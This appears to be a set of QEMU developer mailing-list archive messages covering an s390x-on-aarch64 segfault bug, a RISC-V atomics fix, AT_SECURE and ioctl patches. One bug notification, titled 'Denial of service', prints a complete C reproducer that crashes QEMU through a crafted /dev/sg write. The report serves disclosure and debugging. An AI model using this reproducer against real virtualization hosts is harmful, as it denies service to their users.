  Segmentation fault (core dumped)
  root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-s390x --version
  qemu-s390x version 2.11.1(Debian 1:2.11+dfsg-1ubuntu7.22)
  Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers

  qemu-arm does work on the same machine:

  root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-arm 
bitcoin-0.19.0.1-armhf/bin/test_bitcoin -t amount_tests
  Running 4 test cases...

  *** No errors detected
  root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-arm 
bitcoin-0.19.0.1-armhf/bin/test_bitcoin -t amount_tests
  Running 4 test cases...

  *** No errors detected


  
  What kind of debug information would be helpful for this issue report?
  GDB for the self-compiled latest release is not particularly helpful:

  (gdb) run
  Starting program: /usr/local/bin/qemu-s390x 
/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig
  [Thread debugging using libthread_db enabled]
  Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".
  [New Thread 0x7fb7a2a140 (LWP 28264)]

  Thread 1 "qemu-s390x" received signal SIGSEGV, Segmentation fault.
  0x0096b218 in __bss_start__ ()
  (gdb) bt
  #0  0x0096b218 in __bss_start__ ()
  #1  0x006120a8 in ?? ()
  #2  0x0055579904b0 in ?? ()
  Backtrace stopped: previous frame inner to this frame (corrupt stack?)


  
  A bit more information is available in the version shipped by Ubuntu:

  (gdb) run
  Starting program: /usr/bin/qemu-s390x 
/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig
  [Thread debugging using libthread_db enabled]
  Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".
  [New Thread 0x7fb7a01180 (LWP 28271)]

  Thread 1 "qemu-s390x" received signal SIGSEGV, Segmentation fault.
  0x00738f98 in code_gen_buffer ()
  (gdb) bt
  #0  0x00738f98 in code_gen_buffer ()
  #1  0x005e96c8 in cpu_exec ()
  #2  0x005ee430 in cpu_loop ()
  #3  0x005c3328 in main ()

To manage notifications about this bug go to:
https://bugs.launchpad.net/qemu/+bug/1862986/+subscriptions

[Bug 1862986] Re: qemu-s390x crashes when run on aarch64

2020-02-26 Thread Marco

Thanks for taking a look. With the binary I posted, the steps to
reproduce are:

dpkg --add-architecture s390x && apt update && apt install qemu-user
wget libc6:s390x libstdc++6:s390x libfontconfig1:s390x libxcb1:s390x -y
&& wget
https://bugs.launchpad.net/qemu/+bug/1862986/+attachment/5331331/+files/test_bitcoin_orig
&& sha256sum  ./test_bitcoin_orig && chmod +x test_bitcoin_orig

The hash of the file is
193758e2041d49fe90722927ba6b5371506831caf733ee2fe61ef7d61cc894f7 and
qemu-user crashes for me:

$ qemu-s390x ./test_bitcoin_orig
Segmentation fault (core dumped)

-- 
You received this bug notification because you are a member of qemu-
devel-ml, which is subscribed to QEMU.
https://bugs.launchpad.net/bugs/1862986

Title:
  qemu-s390x crashes when run on aarch64

Status in QEMU:
  Incomplete

Bug description:
  All tested versions (2.11 and 4.2) qemu-s390x crashes with a segfault
  when run on an aarch64 odroid Ubuntu.


  Steps to reproduce:

  root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-s390x 
"/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig"
  Segmentation fault (core dumped)
  root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-s390x --version
  qemu-s390x version 4.2.0
  Copyright (c) 2003-2019 Fabrice Bellard and the QEMU Project developers
  root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-s390x 
"/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig"
  Segmentation fault (core dumped)
  root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-s390x --version
  qemu-s390x version 2.11.1(Debian 1:2.11+dfsg-1ubuntu7.22)
  Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers

  qemu-arm does work on the same machine:

  root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-arm 
bitcoin-0.19.0.1-armhf/bin/test_bitcoin -t amount_tests
  Running 4 test cases...

  *** No errors detected
  root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-arm 
bitcoin-0.19.0.1-armhf/bin/test_bitcoin -t amount_tests
  Running 4 test cases...

  *** No errors detected


  
  What kind of debug information would be helpful for this issue report?
  GDB for the self-compiled latest release is not particularly helpful:

  (gdb) run
  Starting program: /usr/local/bin/qemu-s390x 
/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig
  [Thread debugging using libthread_db enabled]
  Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".
  [New Thread 0x7fb7a2a140 (LWP 28264)]

  Thread 1 "qemu-s390x" received signal SIGSEGV, Segmentation fault.
  0x0096b218 in __bss_start__ ()
  (gdb) bt
  #0  0x0096b218 in __bss_start__ ()
  #1  0x006120a8 in ?? ()
  #2  0x0055579904b0 in ?? ()
  Backtrace stopped: previous frame inner to this frame (corrupt stack?)


  
  A bit more information is available in the version shipped by Ubuntu:

  (gdb) run
  Starting program: /usr/bin/qemu-s390x 
/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig
  [Thread debugging using libthread_db enabled]
  Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".
  [New Thread 0x7fb7a01180 (LWP 28271)]

  Thread 1 "qemu-s390x" received signal SIGSEGV, Segmentation fault.
  0x00738f98 in code_gen_buffer ()
  (gdb) bt
  #0  0x00738f98 in code_gen_buffer ()
  #1  0x005e96c8 in cpu_exec ()
  #2  0x005ee430 in cpu_loop ()
  #3  0x005c3328 in main ()

To manage notifications about this bug go to:
https://bugs.launchpad.net/qemu/+bug/1862986/+subscriptions

[Bug 1862986] Re: qemu-s390x crashes when run on aarch64

2020-02-26 Thread Marco

** Attachment added: "A test binary"
   
https://bugs.launchpad.net/qemu/+bug/1862986/+attachment/5331331/+files/test_bitcoin_orig

-- 
You received this bug notification because you are a member of qemu-
devel-ml, which is subscribed to QEMU.
https://bugs.launchpad.net/bugs/1862986

Title:
  qemu-s390x crashes when run on aarch64

Status in QEMU:
  Incomplete

Bug description:
  All tested versions (2.11 and 4.2) qemu-s390x crashes with a segfault
  when run on an aarch64 odroid Ubuntu.


  Steps to reproduce:

  root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-s390x 
"/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig"
  Segmentation fault (core dumped)
  root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-s390x --version
  qemu-s390x version 4.2.0
  Copyright (c) 2003-2019 Fabrice Bellard and the QEMU Project developers
  root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-s390x 
"/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig"
  Segmentation fault (core dumped)
  root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-s390x --version
  qemu-s390x version 2.11.1(Debian 1:2.11+dfsg-1ubuntu7.22)
  Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers

  qemu-arm does work on the same machine:

  root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-arm 
bitcoin-0.19.0.1-armhf/bin/test_bitcoin -t amount_tests
  Running 4 test cases...

  *** No errors detected
  root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-arm 
bitcoin-0.19.0.1-armhf/bin/test_bitcoin -t amount_tests
  Running 4 test cases...

  *** No errors detected


  
  What kind of debug information would be helpful for this issue report?
  GDB for the self-compiled latest release is not particularly helpful:

  (gdb) run
  Starting program: /usr/local/bin/qemu-s390x 
/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig
  [Thread debugging using libthread_db enabled]
  Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".
  [New Thread 0x7fb7a2a140 (LWP 28264)]

  Thread 1 "qemu-s390x" received signal SIGSEGV, Segmentation fault.
  0x0096b218 in __bss_start__ ()
  (gdb) bt
  #0  0x0096b218 in __bss_start__ ()
  #1  0x006120a8 in ?? ()
  #2  0x0055579904b0 in ?? ()
  Backtrace stopped: previous frame inner to this frame (corrupt stack?)


  
  A bit more information is available in the version shipped by Ubuntu:

  (gdb) run
  Starting program: /usr/bin/qemu-s390x 
/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig
  [Thread debugging using libthread_db enabled]
  Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".
  [New Thread 0x7fb7a01180 (LWP 28271)]

  Thread 1 "qemu-s390x" received signal SIGSEGV, Segmentation fault.
  0x00738f98 in code_gen_buffer ()
  (gdb) bt
  #0  0x00738f98 in code_gen_buffer ()
  #1  0x005e96c8 in cpu_exec ()
  #2  0x005ee430 in cpu_loop ()
  #3  0x005c3328 in main ()

To manage notifications about this bug go to:
https://bugs.launchpad.net/qemu/+bug/1862986/+subscriptions

[Bug 1862986] [NEW] qemu-s390x crashes when run on aarch64

2020-02-12 Thread Marco

Public bug reported:

All tested versions (2.11 and 4.2) qemu-s390x crashes with a segfault
when run on an aarch64 odroid Ubuntu.


Steps to reproduce:

root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-s390x 
"/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig"
Segmentation fault (core dumped)
root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-s390x --version
qemu-s390x version 4.2.0
Copyright (c) 2003-2019 Fabrice Bellard and the QEMU Project developers
root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-s390x 
"/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig"
Segmentation fault (core dumped)
root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-s390x --version
qemu-s390x version 2.11.1(Debian 1:2.11+dfsg-1ubuntu7.22)
Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers

qemu-arm does work on the same machine:

root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-arm 
bitcoin-0.19.0.1-armhf/bin/test_bitcoin -t amount_tests
Running 4 test cases...

*** No errors detected
root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-arm 
bitcoin-0.19.0.1-armhf/bin/test_bitcoin -t amount_tests
Running 4 test cases...

*** No errors detected


What kind of debug information would be helpful for this issue report?
GDB for the self-compiled latest release is not particularly helpful:

(gdb) run
Starting program: /usr/local/bin/qemu-s390x 
/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".
[New Thread 0x7fb7a2a140 (LWP 28264)]

Thread 1 "qemu-s390x" received signal SIGSEGV, Segmentation fault.
0x0096b218 in __bss_start__ ()
(gdb) bt
#0  0x0096b218 in __bss_start__ ()
#1  0x006120a8 in ?? ()
#2  0x0055579904b0 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)


A bit more information is available in the version shipped by Ubuntu:

(gdb) run
Starting program: /usr/bin/qemu-s390x 
/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".
[New Thread 0x7fb7a01180 (LWP 28271)]

Thread 1 "qemu-s390x" received signal SIGSEGV, Segmentation fault.
0x00738f98 in code_gen_buffer ()
(gdb) bt
#0  0x00738f98 in code_gen_buffer ()
#1  0x005e96c8 in cpu_exec ()
#2  0x005ee430 in cpu_loop ()
#3  0x005c3328 in main ()

** Affects: qemu
 Importance: Undecided
 Status: New

** Description changed:

  All tested versions (2.11 and 4.2) qemu-s390x crashes with a segfault
  when run on an aarch64 odroid Ubuntu.
+ 
  
  Steps to reproduce:
  
  root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-s390x 
"/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig"
  Segmentation fault (core dumped)
  root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-s390x --version
  qemu-s390x version 4.2.0
  Copyright (c) 2003-2019 Fabrice Bellard and the QEMU Project developers
  root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-s390x 
"/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig"
  Segmentation fault (core dumped)
  root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-s390x --version
  qemu-s390x version 2.11.1(Debian 1:2.11+dfsg-1ubuntu7.22)
  Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers
  
- 
  qemu-arm does work on the same machine:
  
  root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-arm 
bitcoin-0.19.0.1-armhf/bin/test_bitcoin -t amount_tests
  Running 4 test cases...
  
  *** No errors detected
  root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-arm 
bitcoin-0.19.0.1-armhf/bin/test_bitcoin -t amount_tests
  Running 4 test cases...
  
  *** No errors detected
  
  
+ 
  What kind of debug information would be helpful for this issue report?
- 
- 
  GDB for the self-compiled latest release is not particularly helpful:
  
  (gdb) run
  Starting program: /usr/local/bin/qemu-s390x 
/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig
  [Thread debugging using libthread_db enabled]
  Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".
  [New Thread 0x7fb7a2a140 (LWP 28264)]
  
  Thread 1 "qemu-s390x" received signal SIGSEGV, Segmentation fault.
  0x0096b218 in __bss_start__ ()
  (gdb) bt
  #0  0x0096b218 in __bss_start__ ()
  #1  0x006120a8 in ?? ()
  #2  0x0055579904b0 in ?? ()
  Backtrace stopped: previous frame inner to this frame (corrupt stack?)
  
+ 
+ 
  A bit more information is available in the version shipped by Ubuntu:
  
  (gdb) run
  Starting program: /usr/bin/qemu-s390x

[Qemu-devel] Fwd: [j...@sing.id.au: atomic failures on qemu-system-riscv64]

2019-06-05 Thread Marco Peereboom

Joel is on vacation so here it is again.

> Begin forwarded message:
> 
> From: Alistair Francis 
> Subject: Re: [j...@sing.id.au: atomic failures on qemu-system-riscv64]
> Date: June 5, 2019 at 7:19:53 PM GMT+1
> To: "j...@sing.id.au" , "pal...@sifive.com" 
> 
> Cc: "ma...@decred.org" , "m...@carlosedp.com" 
> 
> 
> On Fri, 2019-05-31 at 03:21 +1000, Joel Sing wrote:
>> I've just sent this to qemu-ri...@nongnu.org - forwarding for
>> visibility...
> 
> Hello Joel,
> 
> Can you please send this to the QEMU mailing list?
> https://wiki.qemu.org/Contribute/MailingLists
> 
>> 
>> - Forwarded message from Joel Sing  -
>> 
>> Date: Fri, 31 May 2019 03:20:03 +1000
>> From: Joel Sing 
>> To: qemu-ri...@nongnu.org
>> Subject: atomic failures on qemu-system-riscv64
>> User-Agent: Mutt/1.10.1 (2018-07-13)
>> 
>> While working on a Go (www.golang.org) port for riscv, I've run
>> into issues with atomics (namely LR/SC) on qemu-system-riscv64.
>> There are several reproducers for this problem including (using
>> gcc builtin atomics):
>> 
>>  https://gist.github.com/4a6f656c/8433032a3f70893a278259f8108aad90
>> 
>> And a version using inline assembly:
>> 
>>  https://gist.github.com/4a6f656c/d883091f5ca811822720213be343a75a
>> 
>> Depending on the qemu configuration the number of threads may
>> need increasing (to force context switching) and/or run in a
>> loop. Go's sync/atomic tests also fail regularly.
>> 
>> Having dug into the qemu code, what I believe is happening is
>> along the lines of the following:
>> 
>> 1. Thread 1 runs and executes an LR - this assigns an address
>>   to load_res and a value to load_val (say 1).
>> 
>> 2. A context switch occurs and thread 2 is now run - it runs
>>   an LR and SC on the same address modifying the stored value.
>>   Another LR is executed loading load_val with the current
>>   value (say 3).
>> 
>> 3. A context switch occurs and thread 1 is now run again, it
>>   continues on its LR/SC sequence and now runs the SC instruction.
>>   This is based on the assumption that it had a reservation
>>   and the SC will fail if the memory has changed. The underlying
>>   implementation of SC is a cmpxchg with the value in load_val
>>   - this no longer has the original value and hence successfully
>>   compares (as does the tcg_gen_setcond_tl() between the returned
>>   value and load_val) thus the SC succeeds when it should not.
>> 
>> The diff below clears load_res when the mode changes - with this
>> applied the reproducers work correctly, as do Go's atomic tests.
>> I'm not sure this "fix" is 100% correct, but it certainly verifies
>> where the problem lies. It does also fall inline with the RISCV
>> spec:
>> 
>> "The SC must fail if there is an observable memory access from
>> another hart to the address, or if there is an intervening context
>> switch on this hart, or if in the meantime the hart executed a
>> privileged exception-return instruction."
>> 
>> diff --git a/target/riscv/cpu_helper.c b/target/riscv/cpu_helper.c
>> index b17f169681..9875b8e5d3 100644
>> --- a/target/riscv/cpu_helper.c
>> +++ b/target/riscv/cpu_helper.c
>> @@ -113,6 +113,8 @@ void riscv_cpu_set_mode(CPURISCVState *env,
>> target_ulong newpriv)
>> }
>> /* tlb_flush is unnecessary as mode is contained in mmu_idx */
>> env->priv = newpriv;
>> +
>> +env->load_res = 0;
> 
> This looks ok to me, I'll read the spec to double check though. Do you
> mind adding a comment in the code as to why this is required?
> 
> Alistair
> 
>> }
>> 
>> /* get_physical_address - get the physical address for this virtual
>> address
>> 
>> - End forwarded message -



signature.asc
Description: Message signed with OpenPGP

[Qemu-devel] [Bug 1777315] Re: Denial of service

2019-05-06 Thread Marco Elver

FYI: we've hit this as will with syzkaller testing; this is still
reproducible as-is with latest qemu (commit a6ae238), and the latest
Linux kernel (5.1-rc7).

-- 
You received this bug notification because you are a member of qemu-
devel-ml, which is subscribed to QEMU.
https://bugs.launchpad.net/bugs/1777315

Title:
  Denial of service

Status in QEMU:
  In Progress

Bug description:
  Hi,
  QEMU 'hw/ide/core.c:871' Denial of Service Vulnerability in version 
qemu-2.12.0

  run the program in qemu-2.12.0:
  #define _GNU_SOURCE 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  static uintptr_t syz_open_dev(uintptr_t a0, uintptr_t a1, uintptr_t a2)
  {
  if (a0 == 0xc || a0 == 0xb) {
  char buf[128];
  sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block", 
(uint8_t)a1, (uint8_t)a2);
  return open(buf, O_RDWR, 0);
  } else {
  char buf[1024];
  char* hash;
  strncpy(buf, (char*)a0, sizeof(buf) - 1);
  buf[sizeof(buf) - 1] = 0;
  while ((hash = strchr(buf, '#'))) {
  *hash = '0' + (char)(a1 % 10);
  a1 /= 10;
  }
  return open(buf, a2, 0);
  }
  }

  uint64_t r[2] = {0x, 0x};
  void loop()
  {
  long res = 0;
  memcpy((void*)0x2000, "/dev/sg#", 9);
  res = syz_open_dev(0x2000, 0, 2);
  if (res != -1)
  r[0] = res;
  res = syscall(__NR_dup2, r[0], r[0]);
  if (res != -1)
  r[1] = res;
  *(uint8_t*)0x2ec0 = 0;
  *(uint8_t*)0x2ec1 = 0;
  *(uint8_t*)0x2ec2 = 0;
  *(uint8_t*)0x2ec3 = 0;
  *(uint32_t*)0x2ec8 = 0;
  *(uint8_t*)0x2ed8 = 0;
  *(uint8_t*)0x2ed9 = 0;
  *(uint8_t*)0x2eda = 0;
  *(uint8_t*)0x2edb = 0;
  memcpy((void*)0x2ee0, "\x9c\x4d\xe7\xd5\x0a\x62\x43\xa7\x77\x53\x67\xb3", 
12);
  syscall(__NR_write, r[1], 0x2ec0, 0x323);
  }

  int main()
  {
  syscall(__NR_mmap, 0x2000, 0x100, 3, 0x32, -1, 0);
  loop();
  return 0;
  }
  this will crash qemu, output information:
   qemu-system-x86_64: hw/ide/core.c:843: ide_dma_cb: Assertion `n * 512 == 
s->sg.size' failed.

  
  Thanks 
  owl337

To manage notifications about this bug go to:
https://bugs.launchpad.net/qemu/+bug/1777315/+subscriptions

Re: [Qemu-devel] [PATCH v2] linux-user: Add AT_SECURE auxval

2018-01-11 Thread Marco A L Barbosa

Thanks Peter,

Signed-off-by: Marco A L Barbosa <malba...@gmail.com>

On Thu, Jan 11, 2018 at 4:52 PM, Peter Maydell <peter.mayd...@linaro.org>
wrote:

> On 11 January 2018 at 18:37, Marco A L Barbosa <malba...@gmail.com> wrote:
> > ---
> >  linux-user/elfload.c | 3 ++-
> >  1 file changed, 2 insertions(+), 1 deletion(-)
>
> This is missing your Signed-off-by: line, which we need to be
> able to accept the patch.
>
> (I've also cc'd the linux-user maintainers.)
>
> > diff --git a/linux-user/elfload.c b/linux-user/elfload.c
> > index 20f3d8c2c3..32a47674e6 100644
> > --- a/linux-user/elfload.c
> > +++ b/linux-user/elfload.c
> > @@ -1354,7 +1354,7 @@ struct exec
> >   ~(abi_ulong)(TARGET_ELF_EXEC_
> PAGESIZE-1))
> >  #define TARGET_ELF_PAGEOFFSET(_v) ((_v) & (TARGET_ELF_EXEC_PAGESIZE-1))
> >
> > -#define DLINFO_ITEMS 14
> > +#define DLINFO_ITEMS 15
> >
> >  static inline void memcpy_fromfs(void * to, const void * from, unsigned
> long n)
> >  {
> > @@ -1786,6 +1786,7 @@ static abi_ulong create_elf_tables(abi_ulong p,
> int argc, int envc,
> >  NEW_AUX_ENT(AT_HWCAP, (abi_ulong) ELF_HWCAP);
> >  NEW_AUX_ENT(AT_CLKTCK, (abi_ulong) sysconf(_SC_CLK_TCK));
> >  NEW_AUX_ENT(AT_RANDOM, (abi_ulong) u_rand_bytes);
> > +NEW_AUX_ENT(AT_SECURE, (abi_ulong) qemu_getauxval(AT_SECURE));
> >
> >  #ifdef ELF_HWCAP2
> >  NEW_AUX_ENT(AT_HWCAP2, (abi_ulong) ELF_HWCAP2);
> > --
>
> For the content, Reviewed-by: Peter Maydell <peter.mayd...@linaro.org>
>
> thanks
> -- PMM
>



-- 
Marco A L Barbosa
http://malbarbo.pro.br
--

Re: [Qemu-devel] [PATCH v2] linux-user: Add AT_SECURE auxval

2018-01-11 Thread Marco A L Barbosa

For some reason send-email didn't include my comments, sorry.

Following the Peter Maydell advice we just pass through the host AT_SECURE.

This fixes https://bugs.launchpad.net/qemu/+bug/1738771

Version 1 for reference:
https://lists.gnu.org/archive/html/qemu-devel/2017-10/msg03667.html
https://lists.gnu.org/archive/html/qemu-devel/2018-01/msg01298.html

On Thu, Jan 11, 2018 at 4:37 PM, Marco A L Barbosa <malba...@gmail.com>
wrote:

> ---
>  linux-user/elfload.c | 3 ++-
>  1 file changed, 2 insertions(+), 1 deletion(-)
>
> diff --git a/linux-user/elfload.c b/linux-user/elfload.c
> index 20f3d8c2c3..32a47674e6 100644
> --- a/linux-user/elfload.c
> +++ b/linux-user/elfload.c
> @@ -1354,7 +1354,7 @@ struct exec
>   ~(abi_ulong)(TARGET_ELF_EXEC_
> PAGESIZE-1))
>  #define TARGET_ELF_PAGEOFFSET(_v) ((_v) & (TARGET_ELF_EXEC_PAGESIZE-1))
>
> -#define DLINFO_ITEMS 14
> +#define DLINFO_ITEMS 15
>
>  static inline void memcpy_fromfs(void * to, const void * from, unsigned
> long n)
>  {
> @@ -1786,6 +1786,7 @@ static abi_ulong create_elf_tables(abi_ulong p, int
> argc, int envc,
>  NEW_AUX_ENT(AT_HWCAP, (abi_ulong) ELF_HWCAP);
>  NEW_AUX_ENT(AT_CLKTCK, (abi_ulong) sysconf(_SC_CLK_TCK));
>  NEW_AUX_ENT(AT_RANDOM, (abi_ulong) u_rand_bytes);
> +NEW_AUX_ENT(AT_SECURE, (abi_ulong) qemu_getauxval(AT_SECURE));
>
>  #ifdef ELF_HWCAP2
>  NEW_AUX_ENT(AT_HWCAP2, (abi_ulong) ELF_HWCAP2);
> --
> 2.11.0
>
>


-- 
Marco A L Barbosa
http://malbarbo.pro.br
--

[Qemu-devel] [PATCH v2] linux-user: Add AT_SECURE auxval

2018-01-11 Thread Marco A L Barbosa

---
 linux-user/elfload.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/linux-user/elfload.c b/linux-user/elfload.c
index 20f3d8c2c3..32a47674e6 100644
--- a/linux-user/elfload.c
+++ b/linux-user/elfload.c
@@ -1354,7 +1354,7 @@ struct exec
  ~(abi_ulong)(TARGET_ELF_EXEC_PAGESIZE-1))
 #define TARGET_ELF_PAGEOFFSET(_v) ((_v) & (TARGET_ELF_EXEC_PAGESIZE-1))
 
-#define DLINFO_ITEMS 14
+#define DLINFO_ITEMS 15
 
 static inline void memcpy_fromfs(void * to, const void * from, unsigned long n)
 {
@@ -1786,6 +1786,7 @@ static abi_ulong create_elf_tables(abi_ulong p, int argc, 
int envc,
 NEW_AUX_ENT(AT_HWCAP, (abi_ulong) ELF_HWCAP);
 NEW_AUX_ENT(AT_CLKTCK, (abi_ulong) sysconf(_SC_CLK_TCK));
 NEW_AUX_ENT(AT_RANDOM, (abi_ulong) u_rand_bytes);
+NEW_AUX_ENT(AT_SECURE, (abi_ulong) qemu_getauxval(AT_SECURE));
 
 #ifdef ELF_HWCAP2
 NEW_AUX_ENT(AT_HWCAP2, (abi_ulong) ELF_HWCAP2);
-- 
2.11.0

[Qemu-devel] [Bug 1738771] [NEW] qemu user does not provide AT_SECURE auxiliary vector entry

2017-12-18 Thread Marco A L Barbosa

Public bug reported:

When executing an android native binary using qemu in user mode, the
program fail with the message

FATAL: kernel did not supply AT_SECURE

Android uses bionic libc.The linker requires that AT_SECURE is provided
in the auxiliary vector, but qemu does not provide the entry.

The issue can be reproduced using the commands:

mkdir -p /tmp/android/system
cd /tmp/android
curl -O 
https://dl.google.com/android/repository/sys-img/google_apis/sysimg_x86-21_r15.zip
unzip sysimg_x86-21_r15.zip
mount -o loop x86/system.img system
qemu-i386 -L /tmp/android/ system/bin/ls


I've provided a patch 
(https://lists.gnu.org/archive/html/qemu-devel/2017-10/msg03667.html) to fix 
the issue, but it was not reviewed yet.

** Affects: qemu
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of qemu-
devel-ml, which is subscribed to QEMU.
https://bugs.launchpad.net/bugs/1738771

Title:
  qemu user does not provide AT_SECURE auxiliary vector entry

Status in QEMU:
  New

Bug description:
  When executing an android native binary using qemu in user mode, the
  program fail with the message

  FATAL: kernel did not supply AT_SECURE

  Android uses bionic libc.The linker requires that AT_SECURE is
  provided in the auxiliary vector, but qemu does not provide the entry.

  The issue can be reproduced using the commands:

  mkdir -p /tmp/android/system
  cd /tmp/android
  curl -O 
https://dl.google.com/android/repository/sys-img/google_apis/sysimg_x86-21_r15.zip
  unzip sysimg_x86-21_r15.zip
  mount -o loop x86/system.img system
  qemu-i386 -L /tmp/android/ system/bin/ls

  
  I've provided a patch 
(https://lists.gnu.org/archive/html/qemu-devel/2017-10/msg03667.html) to fix 
the issue, but it was not reviewed yet.

To manage notifications about this bug go to:
https://bugs.launchpad.net/qemu/+bug/1738771/+subscriptions

Re: [Qemu-devel] [Qemu-trivial] [PATCH] linux-user: Add random ioctls

2017-10-05 Thread Marco A L Barbosa

I submitted a new patch. Thanks.

On Thu, Oct 5, 2017 at 7:35 AM, Laurent Vivier <lviv...@redhat.com> wrote:

> On 05/10/2017 12:24, Marco A L Barbosa wrote:
> > I doesn't look really trivial...
> >
> > To manage the buf field you must read buf_size and it cannot be done
> in
> > a generic way: you must define a function to translate the buffer,
> use
> > IOCTL_SPECIAL() with RNDADDENTROPY and RNDGETPOOL.
> >
> > You should send your patch using "git send-email" or "git publish"
> > instead of adding it in you email client.
> >
> >
> > Thanks for your advices.
> >
> > My use case only requires support for RNDGETENTCNT... Considering that
> > RNDADDENTROPY and RNDGETPOOL are non trivial, would a patch with only
> > RNDGETENTCNT, RNDADDTOENTCNT, RNDZAPENTCNT and RNDCLEARPOOL be accepted?
>
> I think you can only post what you use. If it is tested, it's better...
>
> Thanks,
> Laurent
>



-- 
Marco A L Barbosa
http://malbarbo.pro.br
--

Re: [Qemu-devel] [Qemu-trivial] [PATCH] linux-user: Add random ioctls

2017-10-05 Thread Marco A L Barbosa

>
> I doesn't look really trivial...
>
> To manage the buf field you must read buf_size and it cannot be done in
> a generic way: you must define a function to translate the buffer, use
> IOCTL_SPECIAL() with RNDADDENTROPY and RNDGETPOOL.
>
> You should send your patch using "git send-email" or "git publish"
> instead of adding it in you email client.
>

Thanks for your advices.

My use case only requires support for RNDGETENTCNT... Considering that
RNDADDENTROPY and RNDGETPOOL are non trivial, would a patch with only
RNDGETENTCNT, RNDADDTOENTCNT, RNDZAPENTCNT and RNDCLEARPOOL be accepted?

Note: I swapped the types of RNDADDTOENTCNT and RNDGETPOOL...

[Qemu-devel] [PATCH] linux-user: Add random ioctls

2017-10-04 Thread Marco A L Barbosa

I don't know how (and if it is necessary) to add buf field to
rand_pool_info struct. See
https://github.com/torvalds/linux/blob/5924bbecd0267d87c24110cbe2041b5075173a25/include/uapi/linux/random.h#L17

Signed-off-by: Marco A L Barbosa <malba...@gmail.com>
---
 linux-user/ioctls.h| 7 +++
 linux-user/syscall.c   | 1 +
 linux-user/syscall_defs.h  | 9 +
 linux-user/syscall_types.h | 4 
 4 files changed, 21 insertions(+)

diff --git a/linux-user/ioctls.h b/linux-user/ioctls.h
index e6997ff230..9240a83f30 100644
--- a/linux-user/ioctls.h
+++ b/linux-user/ioctls.h
@@ -173,6 +173,13 @@
   IOCTL(SIOCGSTAMP, IOC_R, MK_PTR(MK_STRUCT(STRUCT_timeval)))
   IOCTL(SIOCGSTAMPNS, IOC_R, MK_PTR(MK_STRUCT(STRUCT_timespec)))

+  IOCTL(RNDGETENTCNT, IOC_R, MK_PTR(TYPE_INT))
